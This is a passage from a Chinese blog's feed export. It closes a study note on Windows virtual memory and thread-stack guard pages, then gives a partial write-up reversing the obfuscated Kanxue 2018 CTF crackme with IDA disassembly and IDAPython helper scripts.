<strong>相同类型的物理存储器作为后备存储器</strong>。</p><h2 id="虚拟内存">虚拟内存</h2><p>Windows 下有三种使用内存的方式</p><ul><li>虚拟内存：适用于大型对象或者大型数组管理</li><li>内存映射文件：适用于大型数据流文件，已经在不同进程之间共享数据</li><li>堆：用于管理小型对象</li></ul><h3 id="查询虚拟内存的api">查询虚拟内存的API</h3><p>对于许多基本信息(页面大小，分配粒度等)我们不应该自己硬编码在程序中，而是应该使用系统API去得到进程初始化时设置的变量:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">VOID <span class="title function_">GetSystemInfo</span><span class="params">(LPSYSTEM_INFP psi)</span>;</span><br></pre></td></tr></table></figure><p>注意这个API在32bit程序运行在64bit下的(Windows 32bit On Windows 64bit,WOW64模拟层)情况时，此时用这个查询得到的值和同一个系统中，64bit运行得到的值有所不同。</p><p>查看虚拟内存状态的话，可以使用下列API:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">BOOL <span class="title function_">GetProcessMemoryInfo</span><span class="params">(</span></span><br><span class="line"><span class="params">    HANDLE hProcess,</span></span><br><span class="line"><span class="params">    PPROCESS_MEMORY_COUNTERS ppmc,</span></span><br><span class="line"><span class="params">    DWORD cdSize</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><p>利用这个API能够查看到当前运行的进程中可能用到的最大内存，也称为 <strong>工作集</strong>。为了提高程序性能，我们可以考虑减小工作集。</p><h3 id="使用虚拟内存的api">使用虚拟内存的API</h3><p>对于预定(Reserve)|调度(Commit)虚拟内存的时候，我们统一使用下列API</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">PVOID <span class="title function_">VirtualAlloc</span><span class="params">(</span></span><br><span class="line"><span class="params">    PVOID pvAddress,</span></span><br><span class="line"><span class="params">    SIZE_T dwSizw,</span></span><br><span class="line"><span class="params">    DWORD fdwAllocationType,</span></span><br><span class="line"><span class="params">    DWORD fdwProtect</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><p>对于参数fdwAllocationType,在预定内存的时候需要传入<code>MEM_RESERVE</code>，而调度内存的时候传入<code>MEM_COMMIT</code>。并且预定区域和调度物理存储器的时候的保护属性一般是相同的。不过在预定阶段，分配的大小始终是64KB对其的，而调度的时候则是按照4KB对齐。如果不想分开来写，可以写成如下形式同时完成预定的和调度</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">VirtualAlloc(<span class="literal">NULL</span>, <span class="number">0x1000</span> * <span class="number">4</span>, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); <span class="comment">//注意第二个参数</span></span><br></pre></td></tr></table></figure><p>相应的，为了撤销调拨的物理存储器和释放对应区域，可以通过调用下列API</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">BOOL <span class="title function_">VirtualFree</span><span class="params">(</span></span><br><span class="line"><span class="params">    LPVOID pvAddress,</span></span><br><span class="line"><span class="params">    SIZE_T dwSize,</span></span><br><span class="line"><span class="params">    DWORD fdwFreeType</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><p>这个函数第一个参数必须接受一个区域的基地址（也就是之前在<code>VirtualAlloc</code>的返回值)在<code>fdwFreeType</code>为<code>MEM_RELEASE</code>的时候会将传入的地址中的所有地址撤销调度并且释放改区域。而传入<code>MEM_DECOMMIT</code>的时候，可以指定撤销的调度地址的大小。（注意不能取消指定范围內的区域）</p><p>一个页面的保护属性修改，我们可以使用这个API</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">BOOL <span class="title function_">VirtualProtect</span><span class="params">(</span></span><br><span class="line"><span class="params">    PVOID pvAddress,</span></span><br><span class="line"><span class="params">    SIZE_T dwSize,</span></span><br><span class="line"><span class="params">    DWORD flNewProtect,</span></span><br><span class="line"><span class="params">    PDWORD fplOldProtect</span></span><br><span class="line"><span class="params">)</span></span><br></pre></td></tr></table></figure><p>可以修改指向内存的基地址开始的，指定大小的区域的（当然这两个值最后都会页对齐）进行修改。</p><h2 id="线程栈与虚拟内存">线程栈与虚拟内存</h2><p>Windows中对于栈的操作也是按照虚拟内存的管理方式来管理的。每一条线程，都会由系统创建一个线程栈，这个线程栈就是一个由系统预定并且调度的空间。一般来说，系统会预定一块 1M 大的区域，然后在其中调度两页来使用。这些参数其实都是可以定制的:</p><ul><li>在CreateThread/_begintreadex 函数中，可以指定一开始要调拨给线程的栈地址空间大小。</li><li>PE文件头中会记录需要预定的地址空间的大小</li></ul><p><img src="/2018/11/28/Windows-Via-C-C-note-2/memory03.png" alt=""></p><p>可以看到，在第二个调度的页面中，是一个 <strong>防护页面(guard page)</strong>。<br>当线程的栈越来越深，试图访问防护页面的内存的时候，系统就会得到通知。此时系统会执行如下逻辑：</p><ul><li>给下一个相邻的页面调度物理存储器</li><li>消除防护页面的 <strong>GUARD_PAGE</strong> 的标志</li><li>给刚刚分配的页面指定这个标志。</li></ul><p>这个技术能够保证 <strong>只有线程需要的时候才给栈调度足够的存储器</strong>，从而减小存储器的使用。</p><p>注意，当调用不断加深的时候，整个栈会如图所示:<br><img src="/2018/11/28/Windows-Via-C-C-note-2/memory04.png" alt=""><br>如图，如果此时栈还要加深的话，那么此时栈底的这个页面也不会被标志为防护页面。如果程序继续运行到这，系统为栈底调度页面的时候，就会抛出一个错误<code>EXCEPTION_STACK_OVERFLOW</code>。系统将使用结构化异常处理(structure exception handling,SEH)来处理这个问题。当弹出这个错误后，不单单时这个线程，整个进程都将被收回控制权。</p><blockquote><p>为什么不对最后一个页面调度页面，而是用其作为边界检测呢？<br>若相邻的区域中，下一个地址也已经被调度了，那么就会 发生内存被破坏而无法察觉的情况:<br><img src="/2018/11/28/Windows-Via-C-C-note-2/memory05.png" alt=""></p></blockquote><p>另外一种难以察觉的溢出就是 <strong>栈下溢</strong>，例如:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">TestForStackOverflow</span><span class="params">()</span>&#123;</span><br><span class="line">    BYTE aBytes[<span class="number">1000</span>];</span><br><span class="line"></span><br><span class="line">    aBytes[<span class="number">100000</span>] = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果对应的位置上是另一条线程的已调拨区域，就可能会引发访问违规却无法察觉。比如这个操作:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">DWORD WINAPI <span class="title function_">ThreadFunc</span><span class="params">(PVOID pvParam)</span>&#123;</span><br><span class="line">    BYTE aBytes[<span class="number">0x10</span>];</span><br><span class="line"></span><br><span class="line">    MEMORY_BASIC_INFORMATION mbi;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// The Stack All Size</span></span><br><span class="line"></span><br><span class="line">    SIZE_T s = (SIZE_T)mbi.AllocationBase + <span class="number">1024</span> * <span class="number">1024</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Point to stack reserve memory end</span></span><br><span class="line">    PBYTE pAddress = (PBYTE)s;</span><br><span class="line">    BYTE* pBytes = (BYTE*)VirtualAlloc(pAddress, <span class="number">0x10000</span>, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Write the 1 from this stack to next memory</span></span><br><span class="line">    aBytes[<span class="number">0x10000</span>] = <span class="number">1</span>; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于栈后方正好有一个空间，就导致程序能够溢出并且不发生错误。</p><h3 id="c-c-运行时栈的检查">C/C++运行时栈的检查</h3><p><em>PS：这里的栈检查不是指放置canary的那种检查</em><br>对于一个调度默认大小的栈(一页4KB)来说，这样的代码会带来很大的问题</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">Function</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> nValues[<span class="number">4000</span>];</span><br><span class="line"></span><br><span class="line">    nValues[<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如上，我们第一次访问的地址就低于了 <strong>防护页面的地址</strong>，而之前的逻辑中我们可以知道，我们是首先访问了防护页面，才会为我们调度新的页面地址。如果严格按照上述逻辑的话，此时应该会发生访问越界。为了防止这个错误，编译器会插入一些代码来调用C运行库的栈检查函数。因为栈编译期间，就能够知道一个栈需要的大小。如果需要的栈空间大于目标系统的页面大小，编译器就会自动插入代码来调用栈检查函数。这个栈检查函数大致逻辑如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">StackCheck</span><span class="params">(<span class="type">int</span> nBytesNeededFromStack)</span>&#123;</span><br><span class="line"></span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">while</span> (nBytesNeededFromStack &gt;= PAGESIZE)&#123;</span><br><span class="line">        pbStackPtr -= PAGESIZE;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// access one bytes at guard page to force </span></span><br><span class="line">        <span class="comment">// new page to be committed</span></span><br><span class="line">        pbStackPtr[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        nBytesNeededFromStack -= PAGESIZE;</span><br><span class="line">    &#125;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="后记">后记</h3><p>说起来这篇好像内容缺了堆相关的，记起来之后会补上（咕咕咕？？）</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;好像和第一篇隔了很久，主要是因为我懒，而且一开始我纠结要按顺序看书还是按照我自己的兴趣来，最后兴趣占了上风所以就鸽了一阵子。。。今天强迫自己整理一下这些笔记的时候才想起来这个大坑。&lt;/p&gt;
&lt;h2 id=&quot;more-windows-via-c-c-note-2-内存管理&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>看雪2018 Rev叹息之墙</title>
    <link href="https://showlinkroom.me/2018/10/07/%E7%9C%8B%E9%9B%AA2018-Rev%E5%8F%B9%E6%81%AF%E4%B9%8B%E5%A2%99/"/>
    <id>https://showlinkroom.me/2018/10/07/%E7%9C%8B%E9%9B%AA2018-Rev%E5%8F%B9%E6%81%AF%E4%B9%8B%E5%A2%99/</id>
    <published>2018-10-07T02:59:46.000Z</published>
    <updated>2020-07-16T13:31:30.433Z</updated>
    
    <content type="html"><![CDATA[<p>看雪大佬太强了，菜鸡误入结果一个国庆都飞掉了。。。</p><h2 id="more-看雪2018-rev叹息之墙"><span id="more"></span><br>看雪2018 Rev叹息之墙</h2><p>题目之所以叫叹息之墙似乎是因为这个题目在IDA里面看起来是这样的:<br><img src="/2018/10/07/%E7%9C%8B%E9%9B%AA2018-Rev%E5%8F%B9%E6%81%AF%E4%B9%8B%E5%A2%99/tanxi00.png" alt=""><br>太吓人了。。。</p><h2 id="分析逻辑">分析逻辑</h2><p>首先执行程序：<br><img src="/2018/10/07/%E7%9C%8B%E9%9B%AA2018-Rev%E5%8F%B9%E6%81%AF%E4%B9%8B%E5%A2%99/tanxi01.png" alt=""><br>输入数字，然后程序内部会对数字进行运算处理，从而检查输入是否正确。不过其中最坑的地方在于<strong>不超过9个数字</strong>。这样似乎输入的限制就有、、小了。。。</p><h3 id="模块分析">模块分析</h3><p>逆向第一步自然是分析逻辑。。。但是这个程序这么大，实在是难以分析的样子。不过调试了几下之后发现了几个规律:</p><ul><li>程序由<strong>跳转模块</strong>和<strong>执行模块</strong>组成</li><li>跳转模块中，通过减去一个存放在局部变量的值来决定是否跳转</li><li>执行模块中有大量无意义代码块，但是对于有特征的代码段可以识别出其真实作用。并且在最后放入一个跳转魔数，指定下一个跳转的位置。</li></ul><p>对于第三点，我们可以看到，程序中大部分的混淆逻辑都是这个样子的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">.text:008C3BE9                 mov     bh, [esi+39Ch]</span><br><span class="line">.text:008C3BEF                 xor     bh, 0FFh</span><br><span class="line">.text:008C3BF2                 mov     [esi+39Bh], al</span><br><span class="line">.text:008C3BF8                 mov     al, dl</span><br><span class="line">.text:008C3BFA                 xor     al, 0</span><br><span class="line">.text:008C3BFC                 mov     [esi+39Ah], al</span><br><span class="line">.text:008C3C02                 mov     al, [esi+39Bh]</span><br><span class="line">.text:008C3C08                 or      al, bh</span><br><span class="line">.text:008C3C0A                 mov     bh, [esi+39Ah]</span><br><span class="line">.text:008C3C10                 or      bh, 0</span><br><span class="line">.text:008C3C13                 xor     al, 0FFh</span><br><span class="line">.text:008C3C15                 and     al, bh</span><br><span class="line">.text:008C3C17                 mov     bh, dl</span><br><span class="line">.text:008C3C19                 xor     bh, 1</span><br><span class="line">.text:008C3C1C                 mov     [esi+399h], al</span><br><span class="line">.text:008C3C22                 mov     al, ah</span><br><span class="line">.text:008C3C24                 xor     al, bh</span><br><span class="line">.text:008C3C26                 and     al, ah</span><br><span class="line">.text:008C3C28                 mov     bh, [esi+39Ch]</span><br><span class="line">.text:008C3C2E                 xor     bh, 0FFh</span><br><span class="line">.text:008C3C31                 mov     [esi+398h], al</span><br></pre></td></tr></table></figure><p>还有一种是使用<code>add</code>/<code>sub</code>的混淆</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">.text:008C2E4B                 add     eax, ecx</span><br><span class="line">.text:008C2E4D                 add     eax, 0BC19503Ah</span><br><span class="line">.text:008C2E52                 sub     eax, 0B65E8C5Bh</span><br><span class="line">.text:008C2E57                 sub     eax, 0BC19503Ah</span><br><span class="line">.text:008C2E5C                 mov     ecx, ebx</span><br><span class="line">.text:008C2E5E                 sub     ecx, 25A9CB13h</span><br><span class="line">.text:008C2E64                 sub     ecx, 1E9698EBh</span><br><span class="line">.text:008C2E6A                 add     ecx, 25A9CB13h</span><br><span class="line">.text:008C2E70                 mov     [esi+424h], eax</span><br><span class="line">.text:008C2E76                 mov     eax, edi</span><br><span class="line">.text:008C2E78                 mov     [esi+420h], ecx</span><br><span class="line">.text:008C2E7E                 mov     ecx, [esi+424h]</span><br><span class="line">.text:008C2E84                 sub     eax, ecx</span><br><span class="line">.text:008C2E86                 mov     ecx, [esi+420h]</span><br><span class="line">.text:008C2E8C                 sub     ecx, eax</span><br><span class="line">.text:008C2E8E                 sub     edi, 1E9698EBh</span><br><span class="line">.text:008C2E94                 sub     ecx, edi</span><br></pre></td></tr></table></figure><p>这两种运算本质上并没有做什么有意义的事情，但是如果出现<code>strlen</code>,<code>__aullrem</code>这类函数的话，很有可能就是一个重要的内容，于是这边用idapython标记了一下当前的程序中用到这些函数的地方:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> idaapi <span class="keyword">import</span> *</span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;=================&quot;</span></span><br><span class="line">danger_func = [<span class="string">&quot;_strlen&quot;</span>,<span class="string">&quot;_strcmp&quot;</span>]</span><br><span class="line"><span class="keyword">for</span> func <span class="keyword">in</span> danger_func:</span><br><span class="line">    addr = LocByName(func)                           </span><br><span class="line">    <span class="keyword">if</span> addr != BADADDR:</span><br><span class="line">        cross_refs = CodeRefsTo(addr, <span class="number">0</span>)</span><br><span class="line">        <span class="keyword">for</span> ref <span class="keyword">in</span> cross_refs:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;%08x&quot;</span> % ref</span><br><span class="line">            SetColor(ref, CIC_ITEM, <span class="number">0x0000ff</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>顺着这几个地方，找到了输入进行处理的逻辑</p><h3 id="输入流追踪">输入流追踪</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.text:008EE9CA                 lea     eax, aXD        ;&quot;x%d&quot;</span><br><span class="line">.text:008EE9D0                 lea     ecx, a0x1x23x45x67 ; &quot;&quot;</span><br><span class="line">.text:008EE9D6                 xor     edx, edx</span><br><span class="line">.text:008EE9D8                 mov     edi, 400h</span><br><span class="line">.text:008EE9DD                 mov     ebx, [esi+302Ch]</span><br><span class="line">.text:008EE9E3                 mov     ebx, [ebx]</span><br><span class="line">.text:008EE9E5                 mov     ebx, GlobalIndex[ebx*4]</span><br><span class="line">.text:008EE9EC                 sub     esp, 4</span><br></pre></td></tr></table></figure><p>这里出现了第一个全局变量GlobalIndex，这个变量会将通过了程序验证的数字存放在这个整数数组中。r顺着这个变量，找到了第二个全局变量</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">.text:0090C195 loc_90C195:                             ; CODE XREF: sub_8C9FF0+1299↑j</span><br><span class="line">.text:0090C195                 mov     eax, [esi+302Ch] ; 这个位置存放的是index</span><br><span class="line">.text:0090C19B                 mov     eax, [eax]</span><br><span class="line">.text:0090C19D                 mov     eax, GlobalIndex[eax*4] </span><br><span class="line">.text:0090C1A4                 mov     eax, TargetMagic[eax*4] </span><br><span class="line">.text:0090C1AB                 mov     ecx, [esi+3024h]</span><br><span class="line">.text:0090C1B1                 mov     edx, [ecx]</span><br><span class="line">.text:0090C1B3                 mov     ecx, [ecx+4]</span><br><span class="line">.text:0090C1B6                 add     edx, eax        </span><br><span class="line">.text:0090C1B8                 adc     ecx, 0</span><br><span class="line">.text:0090C1BB                 mov     eax, [esi+3024h]</span><br><span class="line">.text:0090C1C1                 mov     [eax], edx</span><br><span class="line">.text:0090C1C3                 mov     [eax+4], ecx</span><br></pre></td></tr></table></figure><p><em>吐槽一下，这个变量其实有好几个地方都有引用，但是似乎不是所有的地方都执行了一遍。。。</em><br>这个<code>TargetMagic</code>是一个存放了351个整数的变量。观察上面的这段逻辑，我做出一个猜测：这个地方<strong>可能在操作一个64bit的数字</strong>，因为这个地方用了adc汇编（好像没有啥道理？只是直觉）<br>整体的逻辑大概是这样的:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> GlobalIndex[];</span><br><span class="line"><span class="type">long</span> <span class="type">long</span> sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; length(GlobalIndex); i++)&#123;</span><br><span class="line">sum += TargetMagic[GlobalIndex[i]];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大概就猜测到这个地方，好像就没有思路了。。。于是我们检查一下有没有什么可疑的字符串:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.rdata:00958218 asc_958218      db &#x27;格式错误&#x27;,0Ah,0         ; DATA XREF: sub_8C9FF0:loc_8F7DB2↑o</span><br><span class="line">.rdata:00958218                                         ; sub_8C9FF0:loc_8F922E↑o ...</span><br><span class="line">.rdata:00958222 asc_958222      db &#x27;输入错误&#x27;,0Ah,0         ; DATA XREF: sub_8C9FF0:loc_90EC31↑o</span><br><span class="line">.rdata:00958222                                         ; sub_8C9FF0:loc_91BBD5↑o</span><br><span class="line">.rdata:0095822C a3E             db &#x27;输入正确&#x27;,0Ah           ; DATA XREF: sub_8C9FF0:loc_90F13D↑o</span><br><span class="line">.rdata:0095822C                 db &#x27;赶快去报看雪，前3名有奖励哦;-)&#x27;,0Ah</span><br><span class="line">.rdata:0095822C                 db &#x27;看雪祝你国庆快乐！&#x27;,0Ah</span><br><span class="line">.rdata:0095822C                 db 0Ah,0</span><br></pre></td></tr></table></figure><p>找到这个地方又有了新的线索：这一段显然是用于判断输入逻辑的，不过我们发现跟踪进去并不方便，因为这个程序本身被切分成了跳转模块和执行模块，这个跳转模块和执行模块之间的关系还特别复杂，存在很多用于混淆视听的需要跳转模块。。所以我这里决定用IDAPython再次辅助检查程序。通过使用idapython找到当前模块中的跳转和入口的对应关系，然后进行程序流的逆向追踪，然后大致就写了一个忙放辅助的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!python</span></span><br><span class="line"><span class="keyword">import</span> idc</span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;====[+]====&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_target_jmp</span>(<span class="params">begin_addr, end_addr</span>):</span><br><span class="line">    <span class="comment">#addr = idc.NextHead(addr)</span></span><br><span class="line">    <span class="comment">#if idc.GetDisasm(addr) == &quot;mov&quot;</span></span><br><span class="line">    addr = begin_addr</span><br><span class="line">    target_addrs = []</span><br><span class="line">    <span class="keyword">while</span> addr != end_addr:</span><br><span class="line">        second_type = idc.get_operand_type(addr, <span class="number">1</span>)</span><br><span class="line">        op = GetMnem(addr)</span><br><span class="line">        disas = idc.GetDisasm(addr)</span><br><span class="line">        Op_2_type = GetOpType(addr, <span class="number">1</span>)</span><br><span class="line">        Opnd_1 = idc.GetOpnd(addr, <span class="number">0</span>)</span><br><span class="line">        <span class="comment"># print(Opnd_1)</span></span><br><span class="line">        <span class="comment">#op_num</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;mov&quot;</span> == op <span class="keyword">and</span> Opnd_1 == <span class="string">&quot;dword ptr [esi+301Ch]&quot;</span> <span class="keyword">and</span> o_imm == Op_2_type:</span><br><span class="line">            <span class="comment"># addr_str = &quot;addr:%x, %s&quot;%(addr,disas)</span></span><br><span class="line">            magic_number = idc.GetOperandValue(addr, <span class="number">1</span>)</span><br><span class="line">            <span class="comment"># print(&quot;addr:%x, %s&quot;%(addr,disas))</span></span><br><span class="line">            target_addrs.append(magic_number)</span><br><span class="line"></span><br><span class="line">        addr = idc.NextHead(addr)</span><br><span class="line">    <span class="keyword">return</span> target_addrs</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">jmp_real_target</span>(<span class="params">begin_addr, end_addr</span>):</span><br><span class="line">    addr = begin_addr</span><br><span class="line">    target_addrs = &#123;&#125;</span><br><span class="line">    <span class="keyword">while</span> addr != end_addr:</span><br><span class="line">        <span class="comment"># print(&#x27;[+]&#x27;)</span></span><br><span class="line">        op = GetMnem(addr)</span><br><span class="line">        Opnd_1 = idc.GetOpnd(addr, <span class="number">0</span>)</span><br><span class="line">        Opnd_2 = idc.GetOperandValue(addr, <span class="number">1</span>)</span><br><span class="line">        <span class="comment"># print(Opnd_2)</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;sub&quot;</span> == op <span class="keyword">and</span> (Opnd_1 == <span class="string">&quot;ecx&quot;</span> <span class="keyword">or</span> Opnd_1 == <span class="string">&quot;eax&quot;</span>):</span><br><span class="line">            <span class="comment"># mov to jz </span></span><br><span class="line">            target_addrs[Opnd_2] = <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="keyword">while</span> idc.GetMnem(addr) != <span class="string">&quot;jz&quot;</span>:</span><br><span class="line">                addr = idc.NextHead(addr)</span><br><span class="line"></span><br><span class="line">            disas = idc.GetDisasm(addr)</span><br><span class="line">            <span class="comment"># print(&quot;addr:%x, %s&quot;%(addr, disas))</span></span><br><span class="line">            <span class="comment"># print(hex(idc.GetOperandValue(addr, 0)))</span></span><br><span class="line">            target_addrs[Opnd_2] = idc.GetOperandValue(addr, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">        addr = idc.NextHead(addr)</span><br><span class="line">    <span class="keyword">return</span> target_addrs</span><br></pre></td></tr></table></figure><p>emmmm…里面也有一些变量命名有点奇怪。。不过最后还是成功的找到了几个关键的调试逻辑</p><h3 id="核心判断逻辑">核心判断逻辑</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">.text:0090D170                 mov     eax, [esi+3024h]</span><br><span class="line">.text:0090D176                 mov     ecx, [eax]</span><br><span class="line">.text:0090D178                 mov     eax, [eax+4]</span><br><span class="line">.text:0090D17B                 xor     edx, edx</span><br><span class="line">.text:0090D17D                 mov     edi, SRC</span><br><span class="line">.text:0090D183                 sub     esp, 10h</span><br><span class="line">.text:0090D186                 mov     ebx, esp</span><br><span class="line">.text:0090D188                 mov     [ebx+0Ch], eax</span><br><span class="line">.text:0090D18B                 mov     [ebx+8], ecx</span><br><span class="line">.text:0090D18E                 mov     [ebx+4], edx</span><br><span class="line">.text:0090D191                 mov     [ebx], edi</span><br><span class="line">.text:0090D193                 call    GroupMul</span><br><span class="line">.text:0090D198</span><br><span class="line">.text:0090D198 loc_90D198:</span><br><span class="line">.text:0090D198                 add     esp, 10h</span><br><span class="line">.text:0090D19B                 mov     ecx, 0B571D678h</span><br><span class="line">.text:0090D1A0                 mov     edx, 0E7210A91h</span><br><span class="line">.text:0090D1A5                 mov     bl, 1</span><br><span 